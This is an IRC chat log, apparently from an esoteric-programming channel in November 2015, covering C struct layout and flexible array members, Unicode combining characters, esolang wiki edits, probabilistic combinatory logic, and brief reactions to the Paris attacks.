16:52:40  Is the first field of a C struct reliably at the same address as the struct itself?
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16:55:52  Yes, this is how C implements subtyping.
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17:02:13  Jafet: Thank you. Hmmmm…
17:03:06  How some people writing C do that, more like.
17:06:35  I’m writing code to discover things about C types, and pondering how much bootstrapping code in C I have to write.
17:07:36  Well, I suspect this behaviour was standardised with that usage in mind.
17:08:15  Possibly. The common initial subsequence rule certainly was.
17:09:38  Obligatory reference: C11 6.7.2.1p15: "A pointer to a structure object, suitably converted, points to its initial member (or [boring exception]), and vice versa."
17:09:55  The boring exception is about bitfields, which you can't point at.
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17:12:29  Hmm. While I’m at it: What happens if a struct member is declared as: 1. a fixed-size array 2. a non-sized array?
17:14:26  If it's declared with a fixed-size array, you have an array of that size in the struct.
17:14:45  If it's declared as an array with no size specifier, it's a "flexible array member", which has various restrictions and special behavior.
17:15:06  (E.g. it needs to be the last member, it's mostly ignored in considering the size of the structure except for possible padding, etc.)
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17:16:35  (there might be padding/spacing in between struct members)
17:16:54  Flexible array members are intended for stuff like  struct { size_t len; unsigned char data[]; }  where you'd like to have some extra cruft in the same chunk of memory.
17:17:42  mroman: Right, which is why I need to have access to offsetof to get at any non-first member fully reliably.
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17:19:54  `cc struct a { char x; }; struct b { char x; double d[]; }; int main(void) { printf("%zu, %zu", sizeof (struct a), sizeof (struct b)); }
17:19:56  1, 8
17:20:06  That's one case where the flexible array member actually makes a difference.
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17:25:30  Okay, given an array of sometype, is its stride equal to align(sizeof(sometype),alignof(sometype)), where align(x, a) = min{y : y ≥ x ∧ a | y} ?
17:28:01  Given an array of sometype, it's stride is equal to sizeof(sometype).
17:28:23  There's no padding inside an array.
17:32:38  `cc struct a { long long x, short y; }; int main(void) { struct a p[2]; printf("%zu, %td", sizeof(struct a), &p[1] - &p[0]); }
17:32:50  ​:1:25: error: expected identifier or ‘(’ before ‘short’ \ compilation terminated due to -Wfatal-errors.
17:33:04  `cc struct a { long long x; short y; }; int main(void) { struct a p[2]; printf("%zu, %td", sizeof(struct a), &p[1] - &p[0]); }
17:33:08  16, 1
17:33:23  Ah, so the size is inflated.
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17:33:59  That is, the end of a struct is padded to its alignment?
17:34:58  `cc struct a { long long x; short y; }; int main(void) { struct a p[2]; printf("%zu, %td", sizeof(struct a), (void *)(&p[1]) - (void *)(&p[0])); }
17:34:59  16, 16
17:35:04  Well, it could be padded "just because", too.
17:35:08  Also, what you wrote isn't standard.
17:35:31  It's using a GCC extension that defines sizeof (void) == 1, and pointer arithmetic on void * consistently with that.
17:35:56  You could use (char *)&p[1] - (char *)&p[0] to avoid a constraint violation.
17:36:22  Oh, you normally can’t pointer-arithmetic on (void *)?
17:36:31  Right.
17:36:53  But sizeof(char) is guaranteed to be 1, yes?
17:36:56  Yes.
17:38:30  Not that what I’m doing doesn’t depend on gcc or clang being used in the first place …
17:39:34  In case it was unclear, I had thought the struct could be shorter so that its end wouldn’t be aligned.
17:42:50  Anyway, thanks for the help, I’ll be sure to show up again for more questions.
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18:08:10  [wiki] [[Möbius]]  http://esolangs.org/w/index.php?diff=45358&oldid=45352 * Hppavilion1 * (+1353) Formatting, removed stack mode, more commands
18:08:41  [wiki] [[Möbius]] M http://esolangs.org/w/index.php?diff=45359&oldid=45358 * Hppavilion1 * (+3) Formatting
18:23:50  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45360&oldid=45348 * Hppavilion1 * (-2) /* Hello World */ Fixed an example
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18:42:24  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45361&oldid=45360 * Hppavilion1 * (+20) Made intro ω% better
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19:07:28  [wiki] [[User:Hppavilion1/Data Models]] N http://esolangs.org/w/index.php?oldid=45362 * Hppavilion1 * (+139) Created Page
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20:02:00  I want an interesting data model for a language
20:02:05  Anyone have something for me to start with?
20:08:39  [wiki] [[User:Hppavilion1/UniFunge]] N http://esolangs.org/w/index.php?oldid=45363 * Hppavilion1 * (+776) Data Model
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20:48:01  fungot, do you have an interesting data model for hppacilon[1]?
20:48:01  b_jonas: 00:07 fizzie fnord fizbancolin man neksh
20:48:08  fungot: what?
20:48:08  b_jonas: your point being?
20:48:15  fungot, no.
20:48:16  b_jonas: http://schematics.sourceforge.net/ guide/ lang/ lisp/ impl/ fnord
20:53:23  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45364&oldid=45363 * Hppavilion1 * (+2042) Δ commands
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20:59:31  Unicode needs Combinatorial Arrows instead of just a million arrowy codepoints
21:00:45  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45365&oldid=45364 * Hppavilion1 * (+421) /* Commands */ MORE Δ
21:01:18  [wiki] [[User:Hppavilion1/UniFunge]] M http://esolangs.org/w/index.php?diff=45366&oldid=45365 * Hppavilion1 * (+0) /* Commands */ Fixed formatting
21:04:43  Perhaps Arrow Markup Language is in order?
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21:57:50  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45367&oldid=45366 * Hppavilion1 * (+386) /* Commands */ Concurrency
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22:09:31  [wiki] [[Greentext]]  http://esolangs.org/w/index.php?diff=45368&oldid=45341 * 160.3.110.148 * (-16) 
22:20:05  terrorists in paris killed 18 people
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22:27:38  !!!
22:29:49  just read another headline that bumped the count to 40
22:30:19  fucking horrifying
22:33:15  ⋯  Unicode needs Combinatorial Arrows instead of just a million arrowy codepoints  ← I've always thought that a codepoint put between two characters to signify overstriking/combining would make sense
22:33:30  So instead of having combining everything, you could have a(combine)^ for â
22:33:56  Essentially what backspace did back in the day with overstriking, except a font is free to use its own glyph for a(combine)^ rather than just literally overstriking it
22:34:04  but overstriking could be used as a fallback
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23:21:44  https://www.reddit.com/live/vwwmdb26t78v
23:31:24  [wiki] [[Special:Log/newusers]] create  * GamrCorps *  New user account
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23:42:04  [wiki] [[Mothership]]  http://esolangs.org/w/index.php?diff=45369&oldid=45109 * GamrCorps * (+137) 
23:48:45  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45370&oldid=45367 * Hppavilion1 * (+90) /* Commands */
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2015-11-14:

00:04:02  That should be easily enough to do: In your font define one character to have a negative width and an empty glyph, and then define ligatures which can be use to have its own glyph for a(combine)^ if it has one.
00:05:52  No need to tamper with Unicode at all. My own idea about an advanced font metric format, you would be able to do these things, as well as implement the rules of Unicode too, and more.
00:09:02  I would have the metric file also be used to convert metrics into glyphs; the glyphs would be a separate format and can be independent of the metric format. Hyphenation is also separate, but may interact with metrics.
00:11:53  [wiki] [[DStack]]  http://esolangs.org/w/index.php?diff=45371&oldid=45295 * -Dark-Phantom- * (+13) /* Instructions */
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00:28:07  I think I'll develop a pseudo programming language made to help people learn programmatical thinking in an esoteric way
00:28:31  OK
00:28:54  Either that or an RPG game engine. Or maybe they'll be merged.
00:32:16  I think I'll merge them
00:33:00  Merge them, how?
00:33:50  he'll develop an RPG game engine with a pseudo programming language made to help people learn programmatical thinking in an esoteric way, hth
00:42:52  zzo38: yes, but such a character would be a good substitute for many existing unicode characters. My suggestion was that it should've been designed that way from the start IMO
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00:43:59  And using negative width and an empty glyph would restrict it to only one font, and I don't think that would work at all with variable-width fonts?
00:44:05  At least, I don't see how
00:44:09  otherwise, a good idea
00:46:42  You can add kerns to make it work with variable-width fonts. While it is restricted to having the accent in the same font as the letter, you can still use it with multiple fonts otherwise.
00:47:13  (And the "(combine)" character also has to exist in that font too)
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00:51:00  FireFly: I don’t think a character with such a squishy semantic would fly.
00:51:30  Also, you’d need to combine with ˆ, not ^, to get ̂.
00:51:47  sure, works for me
00:52:21  We have combining characters already; I don't see how a dedicated "combine" character is worse than separate dedicated "combining foo" characters that we currently have
00:53:04  The one I proposed seems more flexible to me since in essence you get a combining version of every character for free
00:53:26  zzo38: good point about kerning. That would work
00:53:49  “for free”, hahahahaha!
00:54:20  Well. Of course, if you want it to look good the font has to manually support it as a ligature and design a glyph for it
00:54:23  So that's not "for free"
00:55:08  But I mean in the sense that you don't have to request Unicode to allocate a combining character and then wait for a new Unicode standard
00:55:15  In kind of format I was describing you could do with dedicated combining characters too, but in a fixpitch font you may certainly include a backspace character as well
00:55:45  Of course you do! You still have to wait for the new standard which says that this combination is now defined as thus …
00:56:12  In my scheme you won't have to tamper with Unicode at all; you are not even required to use Unicode, although you can if you wish to, or even define an extension of Unicode in order to make it compatible with Unicode texts.
00:56:20  Else your stuff just says “you can’t combine these two”.
00:57:03  However, if you are using Unicode then you still need to define all of the relevant Unicode rules in the font metric file, that are applicable to your font (or use an include file, possibly)
00:57:16  That's why I suggested a fallback would be to just literally overstrike one glyph over the other (which would probably often not look good), and use something like ligatures for the ones supported
00:57:33  Or, alternatively, you get fonts deciding differently what some combination should mean, which counters the whole point of standardization.
00:58:05  I don't see how "a (combine) circumflex" could be interpreted as anything other than what's currently known as "a circumflex"
00:58:40  Melvar: don't we have the same issue today with things like "(random CJK glyph) (combining circumflex above)" ?
00:58:57  or, worse, (emoji) (combining circumflex above)
00:59:10  Melvar: If you wish the fonts to be comatible then you will define the font according to some standard that is matching other font using, but some font there is no point to do such thing so you would just define your own instead.
00:59:38  As far as I know, combining characters aren't restricted specially? and I can't imagine (all printables) × (all combining codepoints) are specified separately (× being cartesian product)
00:59:49  But we don’t have “right arrow (combine) up arrow” which could mean two things off the top of my head, and probably more.
01:00:53  Hmm, fair point
01:00:55  It depends much on what interoperability is required.
01:01:03  Compare these two: ↲ ↵
01:01:25  is that "arrow down left" and "symbol for carriage return" or something?
01:01:57  DOWNWARDS ARROW WITH TIP LEFTWARDS and DOWNWARDS ARROW WITH CORNER LEFTWARDS, in fact.
01:02:20  Hm
01:02:37  If needed, just to write the document, and the font can say it follows that document. Unicode is one such kind of document; it may not define all such thing but may define many things, and some fonts may be defined according to multiple document, or according to none at all if they require unique symbols or whatever reason you might not need any.
01:02:47  They both look like triangles to me (the arrowhead I mean)
01:03:01  There’s additionally RETURN SYMBOL: ⏎
01:03:13  The difference is in the proportion of the two sections.
01:03:23  Ah
01:03:39  I guess one could have left arrow, short left arrow
01:03:46  or long left arrow
01:04:13  Indeed, the latter of the two “may indicate a carriage return or new line”.
01:07:24  Oh, here’s ⤶ ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS which unlike those, curves instead of having a corner.
01:07:52  I think I'll merge them
01:07:56  Dammit, cat
01:08:25  He stepped on the right of my keyboard, hitting "up" then "enter"
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01:18:44  RETURN SYMBOL seems to be hollow
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01:32:40  @tell mroman  except for syntax is what the lexer uses, grammar is what the parser uses <-- that sounds to me like almost the exact opposite of the natural language meaning
01:32:40  Consider it noted.
01:33:18  @tell mroman because there, syntax is how you place words, but _not_ how words are composed.
01:33:18  Consider it noted.
01:33:37  the lexer took 40 cakes
01:33:42  `? gregor
01:33:43  Gregor took forty cakes. He took 40 cakes. That's as many as four tens. And that's terrible.
01:36:46  damn, why do i have to @tell before finishing reading the conversation...
01:43:08 <\oren\> Jesus christ, paris is in martial law
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01:43:33 <\oren\> My mom has been calling people she knows there
01:43:44  wat
01:44:19 <\oren\> they've declared a curfew and  soldiers are searching the streets
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01:47:06  I have heard about stuff in Paris on the radio just few minutes ago
01:47:19 <\oren\> I just got home
01:47:48 <\oren\> My mom has just confirmed at least that everyone she knows in paris is safe
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01:49:37  \oren\, that's good
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02:14:36  @metar CYQB
02:14:36  CYQB 140200Z 24011KT 15SM FEW015 OVC063 04/02 A2940 RMK SC1SC7 SLP959
02:14:41  @metar ENVA
02:14:41  ENVA 140150Z 11005KT CAVOK M00/M03 Q0993 RMK WIND 670FT 14008KT
02:14:47  oerjan: M00!
02:16:26 <\oren\> HIBOILY
02:17:27  \HELLOREN\
02:18:13  looks about right
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02:19:06  OKAY
02:19:28 <\oren\> @metar CYYZ
02:19:28  CYYZ 140200Z 30016G24KT 15SM SCT034 OVC059 04/M01 A2980 RMK SC4SC4 VIA CYOW SLP094
02:19:41 -!- heroux has joined.
02:20:10  VIA CYOW?
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02:25:10  fungot. can't find anything about "VIA".
02:25:11  boily: from two different systems.
02:25:21  fungot: it is so. Canadian METARs are weird.
02:25:22  boily: not just for angsty 14-year-olds anymore
02:25:47  fungot: I haven't been 14 since twelve years ago.
02:25:47  boily: out of curiosity, why would that matter?) it didn'
02:26:03  fungot: becose twelve years is a non-homeopathic span of time hth
02:26:04  boily: haven't had anybody tell me where your source is at http://cvs.sourceforge.net/ viewcvs.py/ fnord but 404 on http://mitpress.mit.edu/ sicp/ this one?: check that first item of l1 is now size, and fills it with zeros?....
02:26:16  fungot: CVS? on SF? uuuuuurgh!
02:26:48  https://www.fltplan.com/abbreviations.htm seem to be a good source, with substantially more abbreviations than what's available on wikipédia, but nothing about VIA.
02:26:54 * boily grmbls and mumbles and rants
02:27:32  boily: Hah.
02:28:05  oh wait! it's there! "BY WAY OF". the bastards.
02:28:17  pikhelloq. hah to you too :P
02:28:54  so what is via Ottawa. there are federal clouds invading Toronto?
02:29:43  \oren\: do you think Justing owns a weather machine and is controlling Ontarian climate?
02:29:54  s/Junsting/Justin/
02:42:02  [wiki] [[ResPlicate]]  http://esolangs.org/w/index.php?diff=45372&oldid=45353 * Quintopia * (+0) /* Truth-machine */ The previous edit to this was a mistake.
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03:09:32  this is a 10 years step back in international negotiations
03:09:36  every fucking time
03:09:46  now with the migrant crisis
03:10:01  great timing...
03:11:32  police reported all the attackers have been killed
03:13:57  I agree, re. step back in international negotiations
03:14:00  It's sad
03:14:22  I wonder if the consequences of this will be akin to those for 9/11 in some sense
03:15:26 <\oren\> Marine le pen might become the leader of france in the next election
03:17:27 <\oren\> France has an aircraft carrier and their own fighter jets. it's certainly not unthinkable that they could cooperate with putin to wipe out Daesh/ISIS/ISIL/WTFBBQ
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03:29:14  \oren\: NATO article 5 could be invoked
03:29:20  Muslims should need to work to defeat them too
03:30:11  Of course everyone does but Muslims especially should go against ISIS/ISIL/Daesh
03:36:50  is there any estimate of the number of people in those groups?
03:38:57 * izabera found the answer on google and it's 200k
03:40:36  zzo38: I though muslims already were
03:42:44  Probably they are, yes. But what I am saying is everyone (whether Christian, atheist, etc) can go against them, but primarily it seem it would be job of Muslims. This way might result in being very defeated instead of just being defeated, or maybe I am unclear or confuse or something else
03:47:28  what's the difference between defeated and very defeated?
03:51:40  if you can't spin your defeat into martyrdom then you are very defeated. 
03:52:04  izabera: huh, I would guess a lot more considering how big a territory the control
03:53:55  izabera: I am not completely sure what it is nor do I know how to explain even if I do know, that is why I say I am a bit confused. But you other people on here are also making some points about it too; it isn't everything but they are some points too anyways.
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03:57:46 <\oren\> https://www.youtube.com/watch?v=VpNvGNRlFaE
03:58:01  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45373&oldid=45354 * Quintopia * (+29) /* Examples */
03:59:21  why am i watching a video like that
04:01:25 <\oren\> It's nice isn't it? Celtic-style folk music
04:01:43  yeah they're much better than i thought at first
04:02:48  Why does this subreddit exist https://www.reddit.com/r/truetictactoe
04:02:54  I guess it's a parody of game subreddits?
04:03:24  \oren\: nice
04:04:32  doesn't even look like a parody
04:04:51  izabera, X was nerfed?
04:05:31  https://www.reddit.com/r/TrueTicTacToe/comments/3gdw6x/im_new_here_can_someone_explain_me_all_the_rules/
04:05:38  "IMO you really should watch about 50-60 hours of pro streams on twitch and read every guide on every forum, then get to where you can beat 2 insane/cheater AI at once before you even consider a real game. You're just going to frustrate everyone else around you."
04:06:00  Their headwear reminds me of moonbowmusicmovie: https://www.youtube.com/watch?v=SG7yuQ9MQ2s
04:06:34  Some genuinely interesting things though
04:07:01  Is there the SQL RPG engine?
04:07:10  Pure CSS tic-tac-toe
04:07:21  (they do a lot of acoustic arranges of videogame music too)
04:07:30  To make RPG computer game with SQL, using the game engine program to support such thing
04:07:31  (Well, actually different source that gets compiled into CSS I think)
04:08:17  \oren\: you might enjoy https://www.youtube.com/watch?v=eIV70shV8Sw
04:13:52  OK, now my DVI->PBM program is working!!!
04:14:35  What is the goal of that?
04:15:49  Do you mean goal of such program?
04:16:24  Yes
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04:17:47  It is to convert DVI into PBM.
04:18:07  One use of such a thing would be to print on printers that use host-based printing.
04:18:11  What can we do with temporal logic?
04:18:16  ...
04:18:31  How do type systems correspond to logic systems? Anyone have a paper on that?
04:18:56  Wadler has a talk on.. er, not on that, but one slide has a table about that
04:18:56  hppavilion[1]: I wanted to know that too.
04:19:18  zzo38: Whihc part? The first or the second?
04:20:00  Hmm, actually the part on temporal logic might've been something he mentioned was still an open problem
04:20:40  FireFly: I expressed what I was saying properly, correct? Like, I've heard that most languages are based on classical logic
04:20:46  hppavilion[2]: Both
04:20:48  And I'm curious how that works
04:21:05  zzo38: Ah. Temporal type system? I've heard that that's reactive programming
04:21:11  (Or maybe functional/reactive)
04:21:25  But can it be explained how that works?
04:21:40  https://www.youtube.com/watch?v=IOiZatlZtGU#t=40m30s has a table mentioning some different (logic, type system) pairs
04:21:41  I have heard that too, but it does not explain how that is.
04:22:02  Are there any types of logic cooler than temporal logic?
04:22:18  linear logic is p. weird
04:22:32  At least a lot more weird than its name would suggest
04:22:57  Featuring concepts such as "of course" and "why not", I would say it might classify as an esologic
04:23:00  hppavilion[1]: most languages are based on _intuitionistic_ logic.  i'm pretty sure i mentioned that last this was discussed.
04:23:23  for a certain value of "based"
04:23:31  oerjan: Oh right.
04:23:42  With classical logic, can make continuations too
04:24:08  \oren\ the floating cloud video is interesting, as it continued it sounded more and more strange because it didn't have the structure I expected
04:25:26  Can logics be combined?
04:25:45  In what way?
04:25:56  zzo38: Like, could Linear Temporal logic be a thing?
04:26:53  I don't know
04:27:43  https://en.wikipedia.org/wiki/Linear_temporal_logic
04:27:45  Yep
04:28:18  I've also heard of Quantum Logic
04:28:30  Is probabalistic logic a thing?
04:30:09  Yep.
04:30:40  Esolang idea: Type system based on Linear-Temporal-Quantum-Probabalistic Logic.
04:32:13  Combinatory, if I'm feeling like it.
04:36:55  Ok, that might be a bit much
04:40:12  Are there any useful constructions that use Graph Theory as a "Foundations of Mathematics"?
04:40:22  For example, arithmetic defined in terms of graphs?
04:44:06  You could probably define integers based on the length of lists (c.f. cardinality of sets), and lists without duplicates are a special case of graphs (straight-line graphs)
04:44:38  so if nothing else you could probably do it like that, but that's kinda boring
04:48:28  I want to try to make a language vaguely inspired by formal logic. Probably won't turn out very well, but I'm at least going to try.
04:49:45  I'm going to mix various types of logic into a strange, homogenous, disgusting mesh.
04:49:55  Which I guess is kind of in the spirit of this channel
04:58:08  Temporal Logic Programming?
05:01:48  hppavilion[1]: quantum logic is weird, i once looked at it from this perspective, but it has this strange orthomodular rule that simply doesn't fit in a sensible way.
05:02:19  and is otherwise _very_ limited.
05:02:43  [wiki] [[Category:Quantum computing]] N http://esolangs.org/w/index.php?oldid=45374 * Hppavilion1 * (+133) Created page because why the fuck did this not exist already
05:02:47  because any two things tend to be incompatible.
05:03:20  hppavilion[1]: um i should have said this long ago, but you _do_ know we have a rule against creating categories without discussion, right?
05:03:50  unless it was repealed in some part of my wiki backlog
05:04:11  oerjan: I did not think this needed discussion. We have >2 languages that are quantum, and quantum computing is, like, Esolangs taken seriously. But sorry.
05:04:32  Why do the fonts look better in my program than in xdvi? Is xdvi using PostScript fonts instead of bitmap fonts, or something else like that, or what else?
05:04:57  zzo38: Do you think we needed a category for quantum languages?
05:06:57  hppavilion[1]: I believe it would be a good idea yes. However, the discussion for that is supposed to go on the wiki, I think.
05:07:11  zzo38: Fair enough.
05:07:24  hppavilion[1]: https://esolangs.org/wiki/Esolang_talk:Categorization to be precise
05:07:34  Right, right
05:08:34  Hm...
05:08:39  Quantum Combinatory Logic?
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05:09:19  oh dear
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05:09:52  i'm not sure that works.  the limits of quantum logic are to do with combining things...
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05:10:16  oerjan: I'll MAKE it work >:)
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05:10:49  related to the heisenberg uncertainty in real physics ... you cannot measure all pairs of observables precisely
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05:10:59  hint-e_
05:12:08  Well... how does normal probabalistic combinatory logic work?
05:12:13  int-ello_
05:12:23  no idea :P
05:12:30  (The "-" is the "h" censored)
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05:13:52  oerjan: Shall I go invent that? Probabilistic turing machines are easier to understand than quantum turing machines, and once I get my head fully wrapped around CL being TC I'll know what I'm doing
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05:15:20  btw the types corresponding to quantum logic almost certainly wouldn't be the same as what a quantum computer can compute
05:15:25  (is my hunch)
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05:19:51  Hm...
05:19:58  Probably there's some sort of R combinator
05:20:09  Perhaps Rxy=xy|yx?
05:21:39  That seems like it ought to be Probabilistic enough xD
05:22:01  Sorry, I'm just not great with proofs and stuff yet xD
05:25:27  I did make up a esolang based on formal sequent calculus logic
05:27:07  And want to learn how to make the similar one with the sequent calculus of linear logic too
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05:42:10  It look like my dvipbm program is not quite perfect yet; there are still a few more things to fix, such as I get spurious rules on a page somehow
05:44:05  Maybe a ? combinator would be better, where ?xy=Ix|Iy
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05:45:03  The probabilities are, of course, 50/50
05:45:52  I originally thought of a C (or something) combinator where C=S|K|I, but then I realized that was utterly idiotic of me
05:48:04  I think ? is probably better than R. R is just stupid, AND can be defined as Rxy = S (S (K (S (K S) K)) S) (K K) I xy, or something along those lines.
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05:55:47  Wait, I forgot to include ? in that definition
05:56:18  Wait, it's not as easy now that I've remembered that
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05:57:46  A little help, anyone?
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05:58:52  [wiki] [[Probabilistic combinatory logic]] N http://esolangs.org/w/index.php?oldid=45375 * Hppavilion1 * (+793) Created Page
06:03:05  [wiki] [[Probabilistic combinatory logic]]  http://esolangs.org/w/index.php?diff=45376&oldid=45375 * Hppavilion1 * (+197) Fixed section because I'm bad at math
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06:20:04 * hppavilion[1] boredly hits the esogong
06:20:56 <\oren\> *GONG*
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06:22:04  What is a esogong?
06:22:28  zzo38: It's like the Esobell, but it's a gong
06:23:32 * lifthrasiir lights the esobomb
06:24:03  lifthrasiir: That is perhaps in bad taste, depending on exactly what went down in paris
06:24:17  I'm not sure exactly what happened though, so that might be OK
06:24:19  xD
06:25:00  hppavilion[1]: oops, didn't intend that at all, but probably inappropriate.
06:25:21  lifthrasiir: Probably. Was the stuff in paris bombings or shootings or other?
06:25:40  (was just thinking about an appropriate combination of s the eso)
06:25:50  hmm...
06:25:52  Probably bombings, given that they're terrorists. Bombs are the most effective terrorist weapon oftentimes. They cause a lot of, y'know, terror.
06:25:54 * lifthrasiir verbs the esonoun
06:26:31  I think that #esoteric is close to going to war with ISIS. I can imagine the Michael Bay movie about us now...
06:26:39  xD
06:26:39  hppavilion[1]: seems that there were shootings *and* explosions.
06:26:52  lifthrasiir: Ah. Bombs with guns attached to them?
06:26:59  Or separate?
06:27:32  separate I think, reading WP
06:28:29  hppavilion[1]: three shootings (one involving hostage scenario) and one explosion (suicide bombing).
06:29:27  [wiki] [[Probabilistic combinatory logic]]  http://esolangs.org/w/index.php?diff=45377&oldid=45376 * Hppavilion1 * (+147) Changed ? to τ because τυχαίος
06:29:48  lifthrasiir: WP already? That's fast.
06:29:55  Wait, WP is the Washington Post, isn't it?
06:30:02  I read it as "Wikipedia" xD
06:30:10  about 9 hours passed since then, so not really surprising
06:30:14  yeah, Wikipedia :)
06:30:17  Ah
06:30:26  Wikipedia are usually pretty quick with getting information going for current events
06:30:34  9 hours I suppose is long enough
06:30:39  in the abbreviated form
06:30:47  useful for quick skimming
06:30:54  Unfortunatey I usually forget it when thinking of good news sources
06:30:56  Yeah
06:31:36  Is anyone here good with CL?
06:31:43  Already 54 citations for the article
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06:35:08  FireFly: Now THAT'S impressive
06:35:44  I can't believe I didn't think of this yet: "lifthrasiir is going to esohell." Purely comically, of course.
06:36:11  (Also, Esohell is really the same as Esonirvana, because why not? (that's a formal logic term))
06:38:24   lifthrasiir: That is perhaps in bad taste, depending on exactly what went down in paris <-- it doesn't help that my intuitive reaction to the comment was to make an inspector clouseau joke
06:41:11 * oerjan is getting a bit annoyed at github inserting history cruft commits that are essentially nops but still end up in pull requests
06:41:32  Such as?
06:42:38  FireFly: when i update my repository to edwardk's latest changes it gives a commit in my repository, which is still listed when i send a pull request _back_ (and this prevented me from making it a single-commit one so i had to cut and paste the description between windows)
06:43:03  Ah.. yes, that's a bit annoying
06:43:05  also, it was ridiculously complicated to separate out that one commit because i already had a pull request ourstanding
06:43:35  I think you can do something to work around that by stashing, pulling and rebasing, but my git-fu isn't very strong
06:44:02  well, i'm seriously trying to avoid the cli as much as possible, but i had to use cherry-pick
06:44:06  to avoid pointless merge commits I mean
06:44:27  Ah, I've only used command-line git
06:44:50  the things i'm doing _shouldn't_ be hard enough to require the cli...
06:47:17  hm this was one of the things darcs was supposed to be good at, no?  treating commits individually?
06:47:23  too bad it lost.
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07:09:23  So is anyone here good with combinators?
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07:47:23 <\oren\> shit. I was 7 when the war started and it's still not over.
07:50:06  \oren\: Which one?
07:50:19 <\oren\> the general "war on terror"
07:50:22  Also, he\\oren\.
07:50:24  Ah. That one.
07:50:46  I don't think I'd been born when it started; if I had, I wasn't sentient at the time
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07:55:38 <\oren\> hmm, you can get in the army in some countries at 16. Therefore someone might be fighting the terrorists who was 2 when the war began
07:56:48 <\oren\>  Forget the promise of progress and understanding, for in the grim dark future there is only war. There is no peace amongst the stars, only an eternity of carnage and slaughter, and the laughter of thirsting gods
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08:00:26  \oren\: Also, the occasional rabbit
08:06:49  \oren\: There are people fighting /with/ the terrorists who were 2 when the war began. Or younger. Or not even born yet.
08:13:20  The major general war on terror
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08:28:25 <\oren\> Jafet: just call it "the war", i mean it's the only war my country is actively involved in
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08:30:55  hppavilion[1]: like this one, you mean? https://www.youtube.com/watch?v=Nvs5pqf-DMA
08:32:43 <\oren\> In the grim dark future, even the rabbits are blood-soaked engines of war.
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09:28:42 <\oren\> updated my font
09:28:44 <\oren\> 双匁叔叙味呼哀哲在坑坊埋垣寺少帰広店弱
09:28:45 <\oren\> 用強朝楽歌毎毛活海父番科答算
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11:30:11  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45378&oldid=44908 * Luis Mendo * (+99) 
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11:33:02  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45379&oldid=45378 * Luis Mendo * (+71) 
11:37:22  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45380&oldid=45379 * Luis Mendo * (+2) 
11:37:47  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45381&oldid=45380 * Luis Mendo * (+7) 
11:38:54  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45382&oldid=45381 * Luis Mendo * (+2) 
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12:22:18  I'm no expert but am I the only one that thinks that those "number arguments" in date-onomics are a bit weird.
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12:22:33  Granted, there apparentely are more female grads than male grads
12:22:56  Which means that if you restrict dating to the same education level than you have a problem as a female
12:23:09  however, overall there are more men than women in general.
12:23:29  and since some of those women are stuck searching in that 4:3 ratio restricted to the same education level
12:23:47  that would imply that the dating game for men without a high education level just got harder
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12:23:53  @massages-load
12:23:53  oerjan said 10h 51m 12s ago:  except for syntax is what the lexer uses, grammar is what the parser uses <-- that sounds to me like almost the exact opposite of the natural language meaning
12:23:53  oerjan said 10h 50m 34s ago: because there, syntax is how you place words, but _not_ how words are composed.
12:25:31  I'd call what a lexer uses/does "tokenization" and say that syntax and grammar are both parser things
12:26:14  *then
12:26:19  I agree with ais523 on this one
12:26:57  if called on the difference between syntax and grammar, I'd say that a grammar is a specification of a syntax
12:27:18  I'd say it depends on in which field you're working.
12:29:56  helloily
12:30:00  oh
12:30:25  i was very scrolled up
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12:30:54  hellex
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16:14:22 <\oren\> good mroing
16:16:39  \hellroen\
16:18:55 <\oren\> which kanji should I draw today?
16:20:28  \oren\: still the vertical version of the long vowel sign, and those strange repeat signs you don't have yet
16:21:22  \oren\: "ゝゞ"
16:21:36  \oren\: and "〱〲"
16:22:16  but definitely the vertical long vowel sign
16:23:35 <\oren\> Oh, apparently I have ゝゞ but didn't add them. I don't have 〱〲 though, and I couldn't find the vertical long vowel sign
16:24:25  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45383&oldid=45382 * Luis Mendo * (+700) 
16:24:47  \oren\: shouldn't that be a variant glyph for the normal long vowel sign, marked such that the font engine or layout engine automatically chooses that variant glyph for vertical text?
16:25:49  \oren\: also, halfwidth korean syllables
16:25:52  no awit
16:25:55  not syllables
16:25:58  halfwidth letters
16:30:31  \oren\: could you please add 肺、管、腹、膵、臓、脾 and 爪?
16:30:56  olsner: hellolsner. do you agree with https://youtu.be/GaGIFtJtuTY ?
16:31:35  I've never tried surströmming
16:33:29  I can't find a can here :(
16:34:11  but these people seem to know what they're doing
16:37:13  i'm hungry now
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16:40:42  sinetellok. I haven't seem to have had been asked you the The Question: what are your approximate geographic coördinates and body weigh?
16:41:43  wait, The Question still exists? it's not a very good question :-(
16:42:15  his523. it should be improved.
16:43:20  Question. If I want to write an eye dialect representing a child who can't yet pronounce "k" and "g" and so pronounces something close to "t" and "d" instead, then I should represent those letters with a "t" or "d" with what accent? A caron, a comma below, a circumflex?
16:44:55  it's sort-of the opposite of a cedilla
16:45:26  what is an eye dialect?
16:46:04  boily: eye dialect is nonstandard spelling representing the accent of the speaker
16:46:41  boily: eg. Hagrid talks with an eye dialect in Harry Potter, and so does the dwarf Dwalin in Irregular Webcomic!
16:47:03  As well as Belkar in OoTS, except that he also writes that way in that joke.
16:47:56  ť and ď?
16:48:14  `thanks b_jonas
16:48:15  Thanks, b_jonas. Thonas.
16:48:32  boily: so caron?
16:51:18  I was leaning towards a haček, prime or comma below.
16:51:47  hacek is the same as caron, right?
16:53:42  ...
16:53:55  macron is the bar, caron is haček.
16:54:11  so much diacriticonfusion. I am ashamed.
16:54:43  macron makes sense, it marks long vowels, whereas brevis (breve) marks short vowels. originally. 
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17:02:24  there's also diaresis = trema = umlaut.
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17:04:30  [wiki] [[MATL]]  http://esolangs.org/w/index.php?diff=45384&oldid=45383 * Luis Mendo * (+1284) 
